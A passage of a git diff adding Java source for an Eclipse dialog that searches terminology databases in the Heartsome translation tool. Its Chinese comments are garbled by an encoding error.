org.eclipse.ui.PlatformUI; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * æœç´¢æœ¯è¯­å¯¹è¯æ¡† + * @author peason + * @version + * @since JDK1.6 + */ +public class TermBaseSearchDialog extends TrayDialog { + + private static final Logger LOGGER = LoggerFactory.getLogger(TermBaseSearchDialog.class.getName()); + + /** 当å‰é¡¹ç›®æœ¯è¯­åº“ä¸­çš„è¯­è¨€é›†åˆ */ + private ArrayList lstLangs = new ArrayList(); + + /** 当å‰é¡¹ç›®çš„è®°å¿†åº“é›†åˆ */ + private List lstDatabase = new ArrayList(); + + /** 当å‰æ–‡ä»¶çš„æºè¯­è¨€ */ + private String strSrcLang; + + /** 当å‰æ–‡ä»¶çš„目标语言 */ + private String strTgtLang; + + /** è¦æœç´¢çš„文本 */ + private String strSearchText; + + /** æœç´¢ä¸‹æ‹‰æ¡† */ + private Combo cmbSearch; + + /** æœç´¢æŒ‰é’® */ + private Button btnSearch; + + /** 是å¦åŒºåˆ†å¤§å°å†™å¤é€‰æ¡† */ + private Button btnIsCaseSensitive; + + /** 是å¦åº”用正则表达å¼å¤é€‰æ¡† */ + private Button btnApplyRegularExpression; + + /** 是å¦å¿½ç•¥æ ‡è®°å¤é€‰æ¡† */ + private Button btnIsIgnoreMark; + + /** 术语相似度设置按钮 */ + private Spinner spiMatchQuality; + + /** 术语库下拉框 */ + private Combo cmbDatabase; + + private Grid grid; + + /** 选择语言按钮 */ + private Button btnSelectLang; + + /** 选择语言èœå• */ + private Menu menu; + + private GridColumn columnSrcLang; + + private TBSearchCellRenderer srcCellRenderer = new TBSearchCellRenderer(); + + // private ToolBar selLangBar; + + private final int HISTORY_SIZE = 5; + + private List lstSearchHistory; + +// private IPreferenceStore preferenceStore; + /** + * 构造方法 + * @param parentShell + * @param project + * 当å‰é¡¹ç›® + * @param strSrcLang + * 当å‰æ–‡ä»¶çš„æºè¯­è¨€ + * @param strTgtLang + * 当å‰æ–‡ä»¶çš„目标语言 + * @param strSearchText + * æœç´¢æ–‡æœ¬ + */ + public TermBaseSearchDialog(Shell parentShell, IProject project, String strSrcLang, String strTgtLang, + String strSearchText) { + super(parentShell); + this.strSrcLang = strSrcLang; + this.strTgtLang = strTgtLang; + this.strSearchText = strSearchText; + // this.preferenceStore=Activator.getDefault().getPreferenceStore(); + ProjectConfiger projectConfig = ProjectConfigerFactory.getProjectConfiger(project); + lstDatabase = projectConfig.getTermBaseDbs(false); + setHelpAvailable(true); + setBlockOnOpen(false); + lstSearchHistory = new ArrayList(HISTORY_SIZE - 1); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.TermBaseSearchDialog.title")); + } + + /** + * 添加帮助按钮 robert 2012-09-06 + */ + @Override + protected Control createHelpControl(Composite parent) { + // ROBERTHELP æœç´¢æœ¯è¯­ + String language = CommonFunction.getSystemLanguage(); + final String helpUrl = MessageFormat.format( + "/net.heartsome.cat.ts.ui.help/html/{0}/ch05s04.html#search-terminology", language); + Image helpImage = JFaceResources.getImage(DLG_IMG_HELP); + ToolBar toolBar = new ToolBar(parent, SWT.FLAT | SWT.NO_FOCUS); + ((GridLayout) parent.getLayout()).numColumns++; + toolBar.setLayoutData(new GridData(GridData.HORIZONTAL_ALIGN_CENTER)); + final Cursor cursor = new Cursor(parent.getDisplay(), SWT.CURSOR_HAND); + toolBar.setCursor(cursor); + toolBar.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + cursor.dispose(); + } + }); + ToolItem helpItem = new ToolItem(toolBar, SWT.NONE); + helpItem.setImage(helpImage); + helpItem.setToolTipText(JFaceResources.getString("helpToolTip")); //$NON-NLS-1$ + helpItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(helpUrl); + } + }); + return toolBar; + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + tparent.setLayout(new GridLayout()); + GridData parentData = new GridData(GridData.FILL_BOTH); + parentData.heightHint = 600; + parentData.widthHint = 775; + tparent.setLayoutData(parentData); + + Group groupSearch = new Group(tparent, SWT.None); + groupSearch.setText(Messages.getString("dialog.TermBaseSearchDialog.groupSearch")); + GridLayoutFactory.swtDefaults().margins(5, 5).numColumns(3).equalWidth(false).applyTo(groupSearch); + GridDataFactory.fillDefaults().grab(true, false).applyTo(groupSearch); + Label lblSearch = new Label(groupSearch, SWT.NONE); + lblSearch.setText(Messages.getString("dialog.TermBaseSearchDialog.lblSearch")); + GridDataFactory.fillDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(lblSearch); + cmbSearch = new Combo(groupSearch, SWT.DROP_DOWN | SWT.BORDER); + cmbSearch.setText(strSearchText == null ? "" : strSearchText); + GridData txtData = new GridData(); + // 解决在 Windows 下文本框高度太å°çš„问题 + // txtData.heightHint = 20; + txtData.widthHint = 590; + cmbSearch.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnSearch = new Button(groupSearch, SWT.PUSH); + btnSearch.setText(Messages.getString("dialog.TermBaseSearchDialog.btnSearch")); + + new Label(groupSearch, SWT.NONE); + Composite compCondition = new Composite(groupSearch, SWT.NONE); + GridLayoutFactory.fillDefaults().spacing(8, 0).numColumns(4).equalWidth(false).applyTo(compCondition); + GridDataFactory.fillDefaults().span(2, 1).grab(true, false).applyTo(compCondition); + + btnIsCaseSensitive = new Button(compCondition, SWT.CHECK); + btnIsCaseSensitive.setText(Messages.getString("dialog.TermBaseSearchDialog.btnIsCaseSensitive")); + GridDataFactory.swtDefaults().applyTo(btnIsCaseSensitive); + + btnIsIgnoreMark = new Button(compCondition, SWT.CHECK); + btnIsIgnoreMark.setText(Messages.getString("dialog.TermBaseSearchDialog.btnIsIgnoreMark")); + btnIsIgnoreMark.setSelection(true); + GridDataFactory.swtDefaults().applyTo(btnIsIgnoreMark); + + btnApplyRegularExpression = new Button(compCondition, SWT.CHECK); + btnApplyRegularExpression.setText(Messages.getString("dialog.TermBaseSearchDialog.btnApplyRegularExpression")); + GridDataFactory.swtDefaults().applyTo(btnApplyRegularExpression); + + Composite compMatchQuality = new Composite(compCondition, SWT.NONE); + GridLayoutFactory.fillDefaults().extendedMargins(0, 0, 0, 0).margins(0, 0).spacing(0, 0).numColumns(3) + .equalWidth(false).applyTo(compMatchQuality); + GridDataFactory.fillDefaults().align(SWT.LEFT, SWT.CENTER).grab(true, false).applyTo(compMatchQuality); + + new Label(compMatchQuality, SWT.NONE).setText(Messages.getString("dialog.TermBaseSearchDialog.lblQuality")); + spiMatchQuality = new Spinner(compMatchQuality, SWT.BORDER); + spiMatchQuality.setMaximum(100); + spiMatchQuality.setMinimum(30); + spiMatchQuality.setIncrement(5); + spiMatchQuality.setSelection(100); + GridData spinnaData = new GridData(); + spinnaData.widthHint = 23; + spiMatchQuality.setLayoutData(spinnaData); + new Label(compMatchQuality, SWT.NONE).setText("%"); + + Label lblTB = new Label(groupSearch, SWT.NONE); + lblTB.setText(Messages.getString("dialog.TermBaseSearchDialog.lblTB")); + GridDataFactory.fillDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(lblTB); + Composite cmpTB = new Composite(groupSearch, SWT.NONE); + GridLayoutFactory.fillDefaults().spacing(8, 0).numColumns(2).equalWidth(false).applyTo(cmpTB); + GridDataFactory.fillDefaults().span(2, 1).grab(true, false).applyTo(cmpTB); + cmbDatabase = new Combo(cmpTB, SWT.READ_ONLY); + GridDataFactory.swtDefaults().hint(120, SWT.DEFAULT).applyTo(cmbDatabase); + initDatabaseCombo(); + btnSelectLang = new Button(cmpTB, SWT.RIGHT); + // GridData data = new GridData(); + // data.widthHint = 150; + // data.heightHint = 27; + // btnSelectLang.setLayoutData(data); + // btnSelectLang.setImage(Activator.getImageDescriptor(ImageConstants.CONCORDANCE_SELECT_LANG).createImage()); + // btnSelectLang.addPaintListener(new PaintListener() { + // public void paintControl(PaintEvent e) { + // e.gc.drawText(Messages.getString("dialog.TermBaseSearchDialog.btnSelectLang"), 5, 5, + // SWT.DRAW_TRANSPARENT); + // } + // }); + btnSelectLang.setText(Messages.getString("dialog.TermBaseSearchDialog.btnSelectLang")); + initLanguageMenu(); + + Group groupTable = new Group(tparent, SWT.NONE); + GridLayoutFactory.swtDefaults().margins(10, 10).applyTo(groupTable); + groupTable.setLayoutData(new GridData(GridData.FILL_BOTH)); + // GridDataFactory.fillDefaults().hint(700, 440).applyTo(groupTable); + groupTable.setText(Messages.getString("dialog.TermBaseSearchDialog.groupTable")); + + grid = new Grid(groupTable, SWT.V_SCROLL | SWT.H_SCROLL | SWT.BORDER | SWT.FULL_SELECTION); + grid.setHeaderVisible(true); + grid.setLinesVisible(true); + grid.setLayoutData(new GridData(GridData.FILL_BOTH)); + grid.setAutoHeight(true); + grid.setRowsResizeable(true); + grid.setWordWrapHeader(true); + + if (strSrcLang != null) { + columnSrcLang = new GridColumn(grid, SWT.NONE); + srcCellRenderer.setVerticalAlignment(SWT.CENTER); + srcCellRenderer.setStyleColumn(0); + columnSrcLang.setCellRenderer(srcCellRenderer); + columnSrcLang.setText(strSrcLang); + columnSrcLang.setWidth(365); + columnSrcLang.setWordWrap(true); + } + + if (strTgtLang != null) { + GridColumn columnTgtLang = new GridColumn(grid, SWT.NONE); + TBSearchCellRenderer cellRenderer = new TBSearchCellRenderer(); + cellRenderer.setVerticalAlignment(SWT.CENTER); + columnTgtLang.setCellRenderer(cellRenderer); + columnTgtLang.setText(strTgtLang); + columnTgtLang.setWidth(365); + columnTgtLang.setWordWrap(true); + } + + for (String strLang : lstLangs) { + final GridColumn column = new GridColumn(grid, SWT.NONE); + TBSearchCellRenderer cellRenderer = new TBSearchCellRenderer(); + cellRenderer.setVerticalAlignment(SWT.CENTER); + column.setCellRenderer(cellRenderer); + column.setText(strLang); + column.setWidth(0); + column.setWordWrap(true); + } + + readDialogSettings(); + setEnabled(); + updateCombo(cmbSearch, lstSearchHistory); + if (!strSearchText.equals("")) { + cmbSearch.setText(strSearchText); + } else if (lstSearchHistory != null && lstSearchHistory.size() > 0) { + cmbSearch.setText(lstSearchHistory.get(0)); + } + cmbSearch.setSelection(new Point(0, cmbSearch.getText().length())); + initListener(); + + return parent; + } + + /** + * åˆå§‹åŒ–术语库下拉框 ; + */ + private void initDatabaseCombo() { + List lstItem = new ArrayList(); + lstItem.add(Messages.getString("dialog.TermDbManagerDialog.lstItem")); + // int index = 0; + for (int i = 0; i < lstDatabase.size(); i++) { + DatabaseModelBean model = lstDatabase.get(i); + // if (model.isDefault()) { + // index = i; + // } + lstItem.add(model.getDbName()); + } + cmbDatabase.setItems((String[]) lstItem.toArray(new String[lstItem.size()])); + cmbDatabase.select(0); + } + + /** + * åˆå§‹åŒ–语言èœå• ; + */ + private void initLanguageMenu() { + Set set = new HashSet(); + for (DatabaseModelBean model : lstDatabase) { + MetaData metaData = model.toDbMetaData(); + DBOperator dbop = DatabaseService.getDBOperator(metaData); + try { + dbop.start(); + set.addAll(dbop.getLanguages()); + } catch (SQLException e) { + LOGGER.error(Messages.getString("dialog.TermBaseSearchDialog.logger1"), e); + } catch (ClassNotFoundException e) { + LOGGER.error(Messages.getString("dialog.TermBaseSearchDialog.logger1"), e); + } finally { + try { + if (dbop != null) { + dbop.end(); + } + } catch (SQLException e) { + LOGGER.error("", e); + } + } + } + set.remove(strSrcLang); + set.remove(strTgtLang); + + lstLangs = new ArrayList(set); + Collections.sort(lstLangs); + // cmbLang.setItems((String[]) langs.toArray(new String[langs.size()])); + + menu = new Menu(getShell(), SWT.POP_UP); + // if (strSrcLang != null) { + // MenuItem itemSrc = new MenuItem(menu, SWT.CHECK); + // itemSrc.setText(strSrcLang); + // itemSrc.setSelection(true); + // itemSrc.setEnabled(false); + // } + if (strTgtLang != null) { + MenuItem itemTgt = new MenuItem(menu, SWT.CHECK); + itemTgt.setText(strTgtLang); + itemTgt.setSelection(true); + itemTgt.setEnabled(false); + } + for (final String lang : lstLangs) { + final MenuItem itemLang = new MenuItem(menu, SWT.CHECK); + itemLang.setText(lang); + itemLang.addListener(SWT.Selection, new Listener() { + + public void handleEvent(Event event) { + ArrayList lstShowColumn = new ArrayList(); + // æ¯å¢žåŠ ä¸€åˆ—,除标记列外的其他列的和加100,然åŽå¹³å‡åˆ†é…ç»™å„个语言列,删除一列则åšç›¸åçš„æ“作 + if (itemLang.getSelection()) { + int totalWidth = 0; + boolean blnIsResetWidth = false; + for (int index = 0; index < grid.getColumnCount(); index++) { + GridColumn column = grid.getColumn(index); + + if (column.getText().equals(lang) && column.getWidth() == 0) { + lstShowColumn.add(column); + blnIsResetWidth = true; + } else if (column.getWidth() > 0) { + totalWidth += column.getWidth(); + lstShowColumn.add(column); + } + } + if (blnIsResetWidth) { + int width = (totalWidth + 100) / lstShowColumn.size(); + for (GridColumn column : lstShowColumn) { + column.setWidth(width); + } + } + // if (grid.getItemCount() > 0) { + // search(); + // } + } else { + GridColumn deleteColumn = null; + for (int index = 0; index < grid.getColumnCount(); index++) { + GridColumn column = grid.getColumn(index); + + if (column.getWidth() > 0) { + lstShowColumn.add(column); + } + if (column.getText().equals(lang)) { + deleteColumn = column; + // 将删除列中的数æ®æ¸…空,以ä¿è¯è¡Œé«˜æ­£å¸¸è°ƒæ•´ + for (GridItem item : grid.getItems()) { + item.setText(index, ""); + } + } + } + + int width = (deleteColumn.getWidth() * lstShowColumn.size() - 100) / (lstShowColumn.size() - 1); + deleteColumn.setWidth(0); + lstShowColumn.remove(deleteColumn); + for (GridColumn column : lstShowColumn) { + column.setWidth(width); + } + // search(); + } + } + }); + } + } + + /** + * åˆå§‹åŒ–å„æŽ§ä»¶çš„ç›‘å¬ ; + */ + private void initListener() { + + // 当点击添加/删除语言按钮时,èœå•è¦æ˜¾ç¤ºåœ¨æŒ‰é’®ä¸‹æ–¹ + btnSelectLang.addListener(SWT.Selection, new Listener() { + + public void handleEvent(Event event) { + Rectangle rect = btnSelectLang.getBounds(); + // Point pt = selLangBar.toDisplay(new Point(event.x + rect.width, event.y + rect.height)); + // menu.setOrientation(SWT.RIGHT_TO_LEFT); + Point pt = btnSelectLang.toDisplay(new Point(event.x, event.y + rect.height)); + menu.setLocation(pt.x, pt.y); + menu.setVisible(true); + } + + }); + + btnApplyRegularExpression.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + setEnabled(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + + }); + + btnSearch.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + search(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + + }); + + cmbSearch.addKeyListener(new KeyListener() { + + public void keyPressed(KeyEvent e) { + if (e.character == SWT.CR) { + search(); + + } + } + + public void keyReleased(KeyEvent e) { + + } + + }); + /** + * 添加åŒå‡»æ’入术语到编辑区 + */ + grid.addListener(SWT.MouseDoubleClick, new Listener() { + + public void handleEvent(Event event) { + // TODO Auto-generated method stub + InsertGridTgtToEditor(); + + } + }); + } + + private void InsertGridTgtToEditor() { + GridItem[] selection = grid.getSelection(); + if (null == selection || selection.length == 0) { + return; + } + + IXliffEditor tempEditor = null; + IEditorPart activeEditor = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage() + .getActiveEditor(); + if (activeEditor instanceof IXliffEditor) { + IXliffEditor editor = (IXliffEditor) activeEditor; + tempEditor = editor; + + } + if (tempEditor == null) { + return; + } + int[] selectedRows = tempEditor.getSelectedRows(); + if (null == selectedRows || selectedRows.length == 0) { + return; + } + int rowIndex = selectedRows[0]; + if (tempEditor == null || rowIndex < 0) { + return; + } + TransUnitBean transUnit = tempEditor.getRowTransUnitBean(rowIndex); + Hashtable tuProp = transUnit.getTuProps(); + if (tuProp != null) { + String translate = tuProp.get("translate"); + if (translate != null && translate.equalsIgnoreCase("no")) { + MessageDialog.openInformation(tempEditor.getSite().getShell(), + Messages.getString("view.TerminologyViewPart.msgTitle"), + Messages.getString("view.TerminologyViewPart.msg1")); + return; + } + } + + String tarTerm = selection[0].getText(1); + if (null == tarTerm || tarTerm.isEmpty()) { + return; + } + + try { + tempEditor.insertCell(rowIndex, tempEditor.getTgtColumnIndex(), tarTerm); + // tempEditor.setFocus(); // 焦点给回编辑器 + } catch (ExecutionException e) { + if (Constant.RUNNING_MODE == Constant.MODE_DEBUG) { + e.printStackTrace(); + } + MessageDialog.openInformation(tempEditor.getSite().getShell(), + Messages.getString("view.TerminologyViewPart.msgTitle"), + Messages.getString("view.TerminologyViewPart.msg2") + e.getMessage()); + } + + } + + /** + * æœç´¢æœ¯è¯­åº“ ; + */ + @SuppressWarnings("unchecked") + public void search() { + updateHistory(cmbSearch, lstSearchHistory); + String searchText = cmbSearch.getText(); + searchText = cleanString(searchText); + if (searchText == null || searchText.trim().equals("")) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.TermBaseSearchDialog.msgTitle"), + Messages.getString("dialog.TermBaseSearchDialog.msg1")); + return; + } + + if (lstDatabase.size() == 0) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.TermBaseSearchDialog.msgTitle"), + Messages.getString("dialog.TermBaseSearchDialog.msg2")); + return; + } + + ArrayList lstSelLangs = new ArrayList(); + lstSelLangs.add(strSrcLang); + for (MenuItem item : menu.getItems()) { + if (item.getSelection()) { + lstSelLangs.add(item.getText()); + } + } + + LinkedHashMap>> mapResult = new LinkedHashMap>>(); + ArrayList lstDB = new ArrayList(); + if (cmbDatabase.getSelectionIndex() == 0) { + lstDB.addAll(lstDatabase); + } else { + DatabaseModelBean model = lstDatabase.get(cmbDatabase.getSelectionIndex() - 1); + lstDB.add(model); + } + for (DatabaseModelBean model : lstDB) { + MetaData metaData = model.toDbMetaData(); + DBOperator dbop = DatabaseService.getDBOperator(metaData); + try { + dbop.start(); + HashMap> mapTermBase = dbop.getTermBaseResult(searchText, + !(btnIsCaseSensitive.getSelection()), btnApplyRegularExpression.getSelection(), + btnIsIgnoreMark.getSelection(), strSrcLang, lstSelLangs, spiMatchQuality.getSelection()); + if (mapTermBase != null && mapTermBase.size() > 0) { + mapResult.put(metaData, mapTermBase); + } + } catch (SQLException e1) { + LOGGER.error(Messages.getString("dialog.TermBaseSearchDialog.logger2"), e1); + } catch (ClassNotFoundException e1) { + LOGGER.error(Messages.getString("dialog.TermBaseSearchDialog.logger3"), e1); + } finally { + try { + if (dbop != null) { + dbop.end(); + } + } catch (SQLException e) { + LOGGER.error("", e); + } + } + } + Rectangle rect = grid.getBounds(); + grid.removeAll(); + grid.pack(); + grid.setHeaderVisible(true); + grid.setBounds(rect); + if (mapResult.size() == 0) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.TermBaseSearchDialog.msgTitle"), + Messages.getString("dialog.TermBaseSearchDialog.msg3")); + return; + } + + srcCellRenderer.setStrText(searchText); + srcCellRenderer.setBlnIsCaseSensitive(btnIsCaseSensitive.getSelection()); + srcCellRenderer.setBlnIsApplyRegular(btnApplyRegularExpression.getSelection()); + + if (mapResult.size() > 0) { + + if (btnApplyRegularExpression.getSelection()) { + Iterator>>> iterator = mapResult + .entrySet().iterator(); + while (iterator.hasNext()) { + Entry>> entry = iterator.next(); + MetaData metaData1 = entry.getKey(); + HashMap> map = entry.getValue(); + Iterator>> it = map.entrySet().iterator(); + while (it.hasNext()) { + Entry> e = it.next(); + createGridItem(metaData1, e.getValue()); + } + } + } else { + LinkedHashMap map = sortMap(mapResult); + Iterator> it = map.entrySet().iterator(); + while (it.hasNext()) { + Entry entry = it.next(); + Object[] arrObj = entry.getValue(); + createGridItem((MetaData) arrObj[0], (IdentityHashMap) arrObj[1]); + } + } + + } + } + + /** + * å‘表格中添加记录 + * @param metaData + * @param map + * ; + */ + private void createGridItem(MetaData metaData, IdentityHashMap map) { + // Bug #2232 + List> lstMap = new ArrayList>(); + Iterator> it = map.entrySet().iterator(); + String srcText = null; + while (it.hasNext()) { + Entry e = (Entry) it.next(); + String key = e.getKey(); + if (key.equalsIgnoreCase(strSrcLang)) { + srcText = resetCleanString(e.getValue()); + continue; + } + boolean isContain = false; + for (HashMap hashMap : lstMap) { + if (!hashMap.containsKey(key)) { + hashMap.put(key, e.getValue()); + isContain = true; + } + } + if (!isContain) { + HashMap hashMap = new HashMap(); + hashMap.put(key, e.getValue()); + lstMap.add(hashMap); + } + } + + for (HashMap hashMap : lstMap) { + GridItem item = new GridItem(grid, SWT.NONE); + + hashMap.put("dbName", metaData.getDatabaseName()); + hashMap.put("dbType", metaData.getDbType()); + hashMap.put("severName", metaData.getServerName()); + + int arrIndex = 0; + + if (strSrcLang != null) { + item.setText(arrIndex++, srcText); + } + if (strTgtLang != null) { + String tgtText = hashMap.get(strTgtLang) == null ? "" : hashMap.get(strTgtLang); + tgtText = resetCleanString(tgtText); + item.setText(arrIndex++, tgtText); + } + item.setData(hashMap); + item.setData("metaData", metaData); + + for (int i = 0; i < lstLangs.size(); i++) { + item.setText((arrIndex + i), hashMap.get(lstLangs.get(i)) == null ? "" : hashMap.get(lstLangs.get(i))); + } + } + } + + /** + * 对æœç´¢ç»“æžœæŒ‰ç›¸ä¼¼åº¦è¿›è¡ŒæŽ’åº + * @param mapItem + * @return ; + */ + private LinkedHashMap sortMap( + LinkedHashMap>> mapItem) { + Iterator>>> it = mapItem.entrySet().iterator(); + LinkedHashMap mapData = new LinkedHashMap(); + while (it.hasNext()) { + Entry>> entry = it.next(); + MetaData metaData = entry.getKey(); + HashMap> mapTerm = entry.getValue(); + Iterator>> iterator = mapTerm.entrySet().iterator(); + while (iterator.hasNext()) { + Map.Entry> e = (Map.Entry>) iterator + .next(); + String strGroupIdString = e.getKey(); + IdentityHashMap map = e.getValue(); + String key = metaData.getDatabaseName() + "_" + metaData.getServerName() + "_" + strGroupIdString; + Object[] arrObj = new Object[] { metaData, map }; + mapData.put(key, arrObj); + } + } + ArrayList> entryList = new ArrayList>(mapData.entrySet()); + Collections.sort(entryList, new Comparator>() { + + @SuppressWarnings("unchecked") + public int compare(Map.Entry arg0, Map.Entry arg1) { + IdentityHashMap map0 = (IdentityHashMap) arg0.getValue()[1]; + IdentityHashMap map1 = (IdentityHashMap) arg1.getValue()[1]; + + String strSimilarity0 = map0.get("similarity"); + String strSimilarity1 = map1.get("similarity"); + if (strSimilarity0 == null || strSimilarity1 == null) { + if (strSimilarity0 != null) { + return -1; + } else if (strSimilarity1 != null) { + return 1; + } else { + return 0; + } + } else { + int intData0 = Integer.parseInt(strSimilarity0); + int intData1 = Integer.parseInt(strSimilarity1); + if (intData0 > intData1) { + return -1; + } else if (intData0 < intData1) { + return 1; + } else { + return 0; + } + } + } + }); + mapData.clear(); + for (Entry entry : entryList) { + String key = entry.getKey(); + Object[] obj = entry.getValue(); + mapData.put(key, obj); + } + return mapData; + } + + protected void createButtonsForButtonBar(Composite parent) { + getShell().setDefaultButton(btnSearch); + Composite content = parent.getParent(); + // parent.dispose(); + content.layout(); + } + + private static String cleanString(String string) { + string = string.replaceAll("&", "&"); + string = string.replaceAll("<", "<"); + string = string.replaceAll(">", ">"); + // string = string.replaceAll("\"", """); + return string; + } + + private static String resetCleanString(String string) { + string = string.replaceAll("<", "<"); + string = string.replaceAll(">", ">"); + // string = string.replaceAll(""", "\""); + string = string.replaceAll("&", "&"); + return string; + } + + private IDialogSettings getDialogSettings() { + IDialogSettings settings = Activator.getDefault().getDialogSettings(); + IDialogSettings fDialogSettings = settings.getSection(getClass().getName()); + if (fDialogSettings == null) + fDialogSettings = settings.addNewSection(getClass().getName()); + return fDialogSettings; + } + + private void setEnabled() { + if (btnApplyRegularExpression.getSelection()) { + spiMatchQuality.setEnabled(false); + } else { + spiMatchQuality.setEnabled(true); + } + + } + + private void readDialogSettings() { + IDialogSettings ids = getDialogSettings(); + btnIsCaseSensitive.setSelection(ids + .getBoolean("net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog.caseSensitive")); + // btnIsCaseSensitive.setSelection(preferenceStore.getBoolean(TBPreferenceConstants.TB_CASE_SENSITIVE)); + btnIsIgnoreMark.setSelection(!ids + .getBoolean("net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog.ignoreMark")); + btnApplyRegularExpression.setSelection(ids + .getBoolean("net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog.regEx")); + + try { + spiMatchQuality.setSelection(ids + .getInt("net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog.matchQuality")); + } catch (NumberFormatException e) { + spiMatchQuality.setSelection(100); + } + String[] arrSearchHistory = ids + .getArray("net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog.searchHistory"); + if (arrSearchHistory != null) { + lstSearchHistory.clear(); + for (int i = 0; i < arrSearchHistory.length; i++) { + lstSearchHistory.add(arrSearchHistory[i]); + } + } + String selTM = ids.get("net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog.selTM"); + int selIndex = 0; + if (selTM != null) { + for (int i = 0; i < cmbDatabase.getItemCount(); i++) { + if (selTM.equals(cmbDatabase.getItem(i))) { + selIndex = i; + break; + } + } + } + cmbDatabase.select(selIndex); + + String[] arrTarget = ids.getArray("net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog.selTgt"); + List lstSelItem = new ArrayList(); + if (arrTarget != null) { + for (int i = 0; i < menu.getItemCount(); i++) { + MenuItem item = menu.getItem(i); + for (String target : arrTarget) { + if (item.getText().equals(target)) { + item.setSelection(true); + break; + } + } + if (item.getSelection()) { + lstSelItem.add(item.getText()); + } + } + } + + // é‡è®¾è¡¨æ ¼åˆ—宽 + int totalWidth = 0; + List lstShowColumn = new ArrayList(); + for (int index = 0; index < grid.getColumnCount(); index++) { + GridColumn column = grid.getColumn(index); + if (column.getWidth() > 0) { + totalWidth += column.getWidth(); + } + if (column.getWidth() > 0 || lstSelItem.indexOf(column.getText()) >= 0) { + lstShowColumn.add(column); + } + } + int width = (totalWidth + 100) / lstShowColumn.size(); + for (GridColumn column : lstShowColumn) { + column.setWidth(width); + } + } + + @Override + public boolean close() { + writeDialogSettings(); + return super.close(); + } + + private void writeDialogSettings() { + IDialogSettings ids = getDialogSettings(); + ids.put("net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog.caseSensitive", + btnIsCaseSensitive.getSelection()); + // preferenceStore.setDefault(TBPreferenceConstants.TB_CASE_SENSITIVE,btnIsCaseSensitive.getSelection()); + ids.put("net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog.ignoreMark", + !btnIsIgnoreMark.getSelection()); + ids.put("net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog.regEx", + btnApplyRegularExpression.getSelection()); + ids.put("net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog.matchQuality", + spiMatchQuality.getSelection()); + if (okToUse(cmbSearch)) { + String searchString = cmbSearch.getText(); + if (searchString.length() > 0) { + lstSearchHistory.add(0, searchString); + } + writeHistory(lstSearchHistory, ids, + "net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog.searchHistory"); + } + ids.put("net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog.selTM", cmbDatabase.getText()); + + List lstTgt = new ArrayList(); + for (MenuItem item : menu.getItems()) { + if (item.getSelection()) { + lstTgt.add(item.getText()); + } + } + String[] arrTgt = new String[lstTgt.size()]; + lstTgt.toArray(arrTgt); + ids.put("net.heartsome.cat.database.ui.tb.dialog.TermBaseSearchDialog.selTgt", arrTgt); + } + + /** + * Returns true if control can be used. + * @param control + * the control to be checked + * @return true if control can be used + */ + private boolean okToUse(Control control) { + return control != null && !control.isDisposed(); + } + + /** + * Writes the given history into the given dialog store. + * @param history + * the history + * @param settings + * the dialog settings + * @param sectionName + * the section name + * @since 3.2 + */ + private void writeHistory(List history, IDialogSettings settings, String sectionName) { + int itemCount = history.size(); + Set distinctItems = new HashSet(itemCount); + for (int i = 0; i < itemCount; i++) { + String item = (String) history.get(i); + if (distinctItems.contains(item)) { + history.remove(i--); + itemCount--; + } else { + distinctItems.add(item); + } + } + + while (history.size() > 8) { + history.remove(8); + } + + String[] names = new String[history.size()]; + history.toArray(names); + settings.put(sectionName, names); + } + + /** + * Updates the combo with the history. + * @param combo + * to be updated + * @param history + * to be put into the combo + */ + private void updateHistory(Combo combo, List history) { + String findString = combo.getText(); + int index = history.indexOf(findString); + if (index != 0) { + if (index != -1) { + history.remove(index); + } + history.add(0, findString); + Point selection = combo.getSelection(); + updateCombo(combo, history); + combo.setText(findString); + combo.setSelection(selection); + } + } + + /** + * Updates the given combo with the given content. + * @param combo + * combo to be updated + * @param content + * to be put into the combo + */ + private void updateCombo(Combo combo, List content) { + combo.removeAll(); + for (int i = 0; i < content.size(); i++) { + combo.add(content.get(i)); + } + } +} diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/dialog/TermDbManagerDialog.java b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/dialog/TermDbManagerDialog.java new file mode 100644 index 0000000..aa5df6a --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/dialog/TermDbManagerDialog.java @@ -0,0 +1,1667 @@ +/** + * DatabaseManagerDialog.java + * + * Version information : + * + * Date:Dec 1, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 